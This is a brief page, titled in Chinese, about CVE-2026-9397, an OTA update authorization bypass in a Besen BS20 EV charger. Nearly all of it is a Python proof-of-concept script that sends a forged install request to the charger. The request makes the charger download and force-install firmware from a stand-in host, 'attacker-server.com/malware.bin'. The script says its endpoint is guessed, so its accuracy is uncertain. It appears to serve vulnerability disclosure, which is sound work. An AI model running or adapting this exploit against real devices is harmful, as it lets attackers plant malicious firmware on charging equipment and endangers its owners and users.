CVE-2026-9397 Besen BS20充电桩OTA更新授权绕过漏洞

# Proof of Concept for CVE-2026-9397 # This script demonstrates how a malicious OTA update could be sent. # Note: For educational purposes only. import requests def send_malicious_ota(target_ip, malicious_firmware_url): """ Simulates sending a spoofed OTA update request to the target device. """ # The endpoint might vary based on actual device API analysis ota_endpoint = f"http://{target_ip}/api/ota/install" headers = { "Content-Type": "application/json", "User-Agent": "BesenOTAUpdater/1.0" } # Payload instructing device to download and install firmware from attacker controlled URL payload = { "version": "20260427_malicious", "url": malicious_firmware_url, "force_update": True } try: response = requests.post(ota_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] OTA update command sent successfully to {target_ip}") print(f"[+] Device instructed to download from: {malicious_firmware_url}") else: print(f"[-] Failed to send OTA command. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP evil_server = "http://attacker-server.com/malware.bin" send_malicious_ota(target, evil_server)